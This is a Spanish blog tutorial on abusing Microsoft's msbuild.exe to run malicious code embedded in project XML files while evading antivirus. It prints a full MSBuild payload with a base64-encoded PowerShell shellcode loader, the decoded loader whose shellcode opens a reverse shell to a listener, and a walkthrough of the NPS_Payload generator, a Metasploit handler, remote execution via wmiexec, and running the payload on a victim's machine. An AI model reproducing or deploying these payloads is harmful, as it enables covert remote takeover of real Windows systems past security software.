Hoy le toca el marr贸n a MSBuild, el famoso compilador de Microsoft y Visual Studio.
Casey Smith, m谩s conocido como SubTee y famoso por su ensa帽amiento continuo con la explotaci贸n de productos de Microsoft y Windows, descubri贸 afirmando que se pod铆a ejecutar c贸digo gracias a archivos como .csproj o .xml usando msbuild.exe de Microsoft. Casey observ贸 que hay diversas secciones de dichos formatos en los que se puede introducir c贸digo y que ser谩n analizadas y ejecutadas al lanzar msbuild.exe, lo que permitir铆a la interpretaci贸n c贸digo, en este caso malicioso, como C# por parte del atacante.
Uno de los ejemplos de payload ser铆a el siguiente:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="npscsharp">
<nps />
</Target>
<UsingTask
TaskName="nps"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class nps : Task, ITask
{
public override bool Execute()
{
string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRnZwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";
PowerShell ps = PowerShell.Create();
ps.AddScript(Base64Decode(cmd));
Collection<PSObject> output = null;
try
{
output = ps.Invoke();
}
catch(Exception e)
{
Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
}
if (output != null)
{
foreach (PSObject rtnItem in output)
{
Console.WriteLine(rtnItem.ToString());
}
}
return true;
}
public static string Base64Encode(string text) {
return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
}
public static string Base64Decode(string encodedtext) {
return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
$UlCtYYMwq = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$JmyCwkQkzaNpf = Add-Type -memberDefinition $UlCtYYMwq -Name "Win32" -namespace Win32Functions -passthru
[Byte[]] $PdsNIFvprguNF = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$PdsNIFvprguNF += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$PdsNIFvprguNF += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$PdsNIFvprguNF += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$PdsNIFvprguNF += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$PdsNIFvprguNF += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$PdsNIFvprguNF += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$PdsNIFvprguNF += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$PdsNIFvprguNF += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$PdsNIFvprguNF += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$PdsNIFvprguNF += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$PdsNIFvprguNF += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$PdsNIFvprguNF += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$PdsNIFvprguNF += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$PdsNIFvprguNF += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$PdsNIFvprguNF += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$PdsNIFvprguNF += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$PdsNIFvprguNF += 0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x84,0x68,0x2
$PdsNIFvprguNF += 0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40
$PdsNIFvprguNF += 0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5
$PdsNIFvprguNF += 0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61
$PdsNIFvprguNF += 0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75
$PdsNIFvprguNF += 0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4
$PdsNIFvprguNF += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$PdsNIFvprguNF += 0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0
$PdsNIFvprguNF += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$PdsNIFvprguNF += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$PdsNIFvprguNF += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$PdsNIFvprguNF += 0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0
$PdsNIFvprguNF += 0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68
$PdsNIFvprguNF += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc
$PdsNIFvprguNF += 0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6
$PdsNIFvprguNF += 0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0
$PdsNIFvprguNF += 0x53,0xff,0xd5
$IvLrvRjHuBUD = $JmyCwkQkzaNpf::VirtualAlloc(0,[Math]::Max($PdsNIFvprguNF.Length,0x1000),0x3000,0x40)
for ($QQRODVRXnpg=0;$QQRODVRXnpg -le ($PdsNIFvprguNF.Length-1);$QQRODVRXnpg++) {
$JmyCwkQkzaNpf::memset([IntPtr]($IvLrvRjHuBUD.ToInt32()+$QQRODVRXnpg), $PdsNIFvprguNF[$QQRODVRXnpg], 1) | Out-Null
}
$JmyCwkQkzaNpf::CreateThread(0,0,$IvLrvRjHuBUD,0,0,0)
for (;;){
Start-sleep 60
}
Y como dec铆a anteriormente, estas ejecuciones conllevan que el formato del payload en muchos de los casos sea indetectable por los antivirus. Este es uno de ellos.
 |
| https://virustotal.com/es/file/15e26c7e518f1c464d60929790fcdca5c7fc2a49a717431e4776f54d3eeb37a6/analysis/1501089648/ |
Elaborar esta clase de payload puede llevar su tiempo, por ello dos de los integrantes de TrustedSec, Larry Spohn (@spoonman1091) y Ben Mauch (@ben0xa) han desarrollado NPS_Payload, una herramienta escrita en Python que nos facilitar谩 la obtenci贸n de esta clase de payloads. NPS_Payload se encargar谩 de generar payloads escritos en Powershell que ser谩 insertado en nuestro .xml que posteriormente podremos ejecutar gracias a MSBuild, tambi茅n generar谩 un recurso para la consola de Metasploit con todos los par谩metros ya configurados.
La instalaci贸n de herramienta es muy sencilla, simplemente habr谩 que instalar los requisitos que se encuentran en el archivo
requirements.txt de la siguiente manera:┌─[root@parrot]─[/home/alejandro/Desktop]
└──╼ #cd nps_payload-master/
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #pip install -r requirements.txt
Collecting netifaces (from -r requirements.txt (line 1))
Downloading netifaces-0.10.6.tar.gz
Requirement already satisfied: pexpect in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Building wheels for collected packages: netifaces
Running setup.py bdist_wheel for netifaces ... done
Stored in directory: /root/.cache/pip/wheels/28/e1/08/e66a4f207479500a27eae682a4773fa00605f2c5d953257824
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.6
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py
( (
) ( )\ ) )\ )
( ` ) ( ` ) ( /( )\ )((_)( ( /( (()/(
)\ ) /(/( )\ /(/( )(_)|()/( _ )\ )(_)) ((_))
_(_/(((_)_\((_) ((_)_\((_)_ )(_)) |((_)((_)_ _| |
| ' \)) '_ \|_-< | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
|_| |_____|_| |__/
v1.02
(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99) Quit
Select a task:
La herramienta viene con dos clases de payloads, el payload b谩sico y el HTA que podremos usar dependiendo de nuestro objetivo.
Un ejemplo del uso de NPS_Payload junto a la ejecuci贸n del payload puede ser el siguiente:
┌─[✗]─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py
( (
) ( )\ ) )\ )
( ` ) ( ` ) ( /( )\ )((_)( ( /( (()/(
)\ ) /(/( )\ /(/( )(_)|()/( _ )\ )(_)) ((_))
_(_/(((_)_\((_) ((_)_\((_)_ )(_)) |((_)((_)_ _| |
| ' \)) '_ \|_-< | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
|_| |_____|_| |__/
v1.02
(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99) Quit
Select a task: 1
Payload Selection:
(1) windows/meterpreter/reverse_tcp
(2) windows/meterpreter/reverse_http
(3) windows/meterpreter/reverse_https
(4) Custom PS1 Payload
Select payload: 1
Enter Your Local IP Address (192.168.1.132): 192.168.1.132
Enter the listener port: 4444
Generating PSH Payload...
Generating MSF Resource Script...
Metasploit resource script written to msbuild_nps.rc
Run "msfconsole -r msbuild_nps.rc" to start listener.
Payload written to msbuild_nps.xml
Options to deploy:
1) Copy the file to the target machine and then execute the following command:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
--or--
2) Use samba to share the file.
a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
b) Execute the command remotely with the following command:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.1.132\\payloads$\\msbuild_nps.xml
Como podemos observar, la herramienta nos lanza la posibilidad de ejecutar el payload de dos maneras diferentes, localmente y remotamente gracias a Samba, yo optar茅 por la ejecuci贸n local. A continuaci贸n ejecutaremos archivo para configuraci贸n del meterpreter que nos generar谩 la herramienta con el comando
msfconsole -r msbuild_nps.rc.┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #msfconsole -r msbuild_nps.rc
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.13.12-dev ]
+ -- --=[ 1611 exploits - 914 auxiliary - 279 post ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.132
LHOST => 192.168.1.132
resource (msbuild_nps.rc)> set LPORT 4444
LPORT => 4444
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.132:4444
[*] Starting the payload handler...
msf exploit(handler) >
Ahora en el ordenador de la v铆ctima deberemos ejecutar nuestro payload con msbuild.exe de la siguiente manera:
C:\Users\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
Microsoft (R) Build Engine, versi贸n 4.7.2046.0
[Microsoft .NET Framework, versi贸n 4.0.30319.42000]
Copyright (C) Microsoft Corporation. Todos los derechos reservados.
Compilaci贸n iniciada.
E inmediatamente obtendremos una sesi贸n de metepreter:
Tambi茅n hay que decir que un ejecutable o .bat nos facilitar铆a mucho la ejecuci贸n del payload ya que la propia v铆ctima es complicado que ejecute el comando mencionado anteriormente para realizar un ataque efectivo, para ello he escrito un batch bastante sencillo que nos facilitar谩 mucho la ejecuci贸n del MSBuild. Simplemente deber茅is copiar el contenido del .xml generado por NPS_Payload en formato hexadecimal como he colocado despu茅s del
echo.Enjoy it!
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